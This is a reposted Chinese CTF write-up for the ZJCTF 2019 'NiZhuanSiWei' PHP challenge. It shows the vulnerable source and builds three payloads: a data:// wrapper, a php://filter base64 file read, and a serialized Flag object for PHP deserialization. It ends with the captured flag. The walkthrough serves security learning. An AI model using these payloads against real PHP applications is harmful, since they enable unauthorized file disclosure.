首页 > 其他分享 >[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

时间:2023-11-16 13:00:13浏览次数:34  
标签:password get ZJCTF text NiZhuanSiWei flag 2019 file php

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

通过阅读源码得知,我们需要get方式提交参数,text、file、password

第一个绕过点

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){

isset的作用是检测变量是否已设置并且非null

file_get_contents的作用是将整个文件读入一个字符串

这里将text文件中读取字符串,还要和welcome to the zjctf相等

可以使用data://写入协议构造第一个payload

?text=data://text/plain,welcome to the zjctf

owBPO61CRYO6lGtr5vG1x3p2VXHXZiBZ3iMVk-5a40M

第二处提示

观察file参数处useless.php的提示,那就读取下useless.php文件信息,使用php伪协议来读取文件

file=php://filter/read=convert.base64-encode/resource=useless.php

GmazUKB_vcdGOvvLXp6_cfe_ZmYmFs_ozntGTTF1EGY

通过base64解码得到源码

IRCg7hV4QzphyXJ6rijqb2izgXurSdlkA1q9AUfbxwM

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

这里最后会echo输出$file,将flag.php的值给了$file,然后反序列化使用在线工具执行一下,得到输出O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

将flag.php的值给了$file,然后反序列化使用在线工具执行一下,得到输出O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

第三处payload

password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

b1RFZ2exfHfGK0_9_W6Yyd5fnIx0al0SZoWZzrdMq8E

查看源代码得到flag信息

UPb8BLi8xWmDIq16C5dROTJsrywpFOW2LAxg4uyJoAU

flag{37bc19e7-9ead-46a1-81b8-d647d20ca4f3}

总结:

第一步:首先拿到题目,审计源码,需要我们传递参数,需要我们写入数据,这里用到了伪协议 data://,然后file_get_contnets()读取里面的字符串与之匹配

第二步:不能够直接用flag.php直接访问,我们需要读取useless.php的源码,这时候用到了伪协议中的php://filter来读取,我们读取的字符串是base64格式的需要我们进行转码

第三步:构造反序列化,得到password

第四步:构造最终的payload,然后在源码中获得flag

标签:password,get,ZJCTF,text,NiZhuanSiWei,flag,2019,file,php
From: https://www.cnblogs.com/fishjumpriver/p/17835986.html

相关文章

  • 题解 「2019五校联考-镇海1」一棵树
    题意一棵\(n\)个结点的树,根节点为\(1\),结点\(i\)的父亲是\(f_i\)。\(f_1=f_0=0\)。对于每一个整数\(i\),假如\(f_{f_i}\)不为\(0\),那么就将\(f_{f_i}\)与\(i\)连上一条边。从每一个结点,每次随机向相邻的结点走。问每个结点期望走多少步才能走到根。对于\(60\%\),\(......
  • vs 2019安装QT
    vs2019安装QTvs2019安装页面QT安装页面QT下载项QT(在线安装程序):QT的OnlineInstaller(在线安装程序)是Qt官方提供的一种下载和安装Qt开发工具包的方法。与传统的离线安装程序不同,OnlineInstaller是一个小型的安装程序,它将下载和安装Qt的组件时仅下载所需的文件,而不是整......
  • 洛谷 P6662 [POI 2019] Przedszkole
    洛谷传送门\(k\)染色问题。给定\(n\)个点\(m\)条边无向图,求有多少种给每个点赋点权\(a_u\in[1,k]\)的方案,使得\(\forall(u,v)\inE,a_u\nea_v\)。Subtask\(1\):\(n\le15\)。考虑因为最终只会用到最多\(n\)种颜色,所以设恰好用了\(t\)种颜色,把\(k\)种颜......
  • GEE数据集——2019、2020、2021、2022和2023年全球固定宽带和移动(蜂窝)网络性能Shapefi
    全球固定宽带和移动(蜂窝)网络性能¶全球固定宽带和移动(蜂窝)网络性能,分配给缩放级别16网络墨卡托图块(赤道处约610.8米x610.8米)。数据以Shapefile格式和ApacheParquet格式提供,其几何形状以众所周知的文本(WKT)表示,投影在EPSG:4326中。下载速度、上传速度和延迟是通过......
  • 同一用户名,远程连接Windows Server 2019 时,如何禁止打开新窗口
    同一用户名,远程连接WindowsServer2019时,如何禁止打开新窗口答:您好!如果您想在远程连接WindowsServer2019时禁止打开新窗口,您可以尝试以下方法:使用组策略编辑器:打开组策略编辑器,可以通过运行"gpedit.msc"命令来打开。导航到"计算机配置">"管理模板">"Windows组件">"远......
  • 2019 CSP-J
    P5661[CSP-J2019]公交换乘 就是模拟,注意车票还有使用时间限制,所以在记录坐地铁的时候就要设置时限,如果坐公交车的时间过了所有优惠票那就不能坐,而且也要记录最左边可以用的车票位置#include<iostream>#include<cstdio>#include<cstring>#include<cmath>#include<vecto......
  • 蓝桥杯2019 估计人数
    蓝桥杯2019估计人数题目描述给定一个\(N\timesM\)的方格矩阵,矩阵中每个方格标记0或者1代表这个方格是不是有人踩过。已知一个人可能从任意方格开始,之后每一步只能向右或者向下走一格。走了若干步之后,这个人可以离开矩阵。这个人经过的方格都会被标记为1,包括开始和结......
  • Web_BUUCTF_WriteUp | [极客大挑战 2019]EasySQL
    题目靶机界面URL:http://86ae5adf-d39e-47dd-b3da-1ae895847925.node4.buuoj.cn:81/分析先在交互界面随便输入用户名和密码试试,界面显示如下:此时的URL为http://86ae5adf-d39e-47dd-b3da-1ae895847925.node4.buuoj.cn:81/check.php?username=admin&password=123对多出的......
  • CSP-S2019 江西 题解
    为什么有\(5\)道题?[CSP-S2019江西]和积和简单化一下式子:\[(n+1)\times\sumA_i\timesB_i-(\sumA_i)\times(\sumB_i)\]其中\(A,B\)都是前缀和。[CSP-S2019江西]网格图naive的kruskal是很naive的,所以需要一点简单的优化。考虑其本质过程就是按照......
  • [极客大挑战 2019]BuyFlag 1(两种解法)
    题目环境:<br/><br/><br/>FLAGNEEDYOUR100000000MONEYflag需要你的100000000元F12瞅瞅源代码:<br/>if(isset($_POST['password'])){$password=$_POST['password'];if(is_numeric($password)){echo"pas......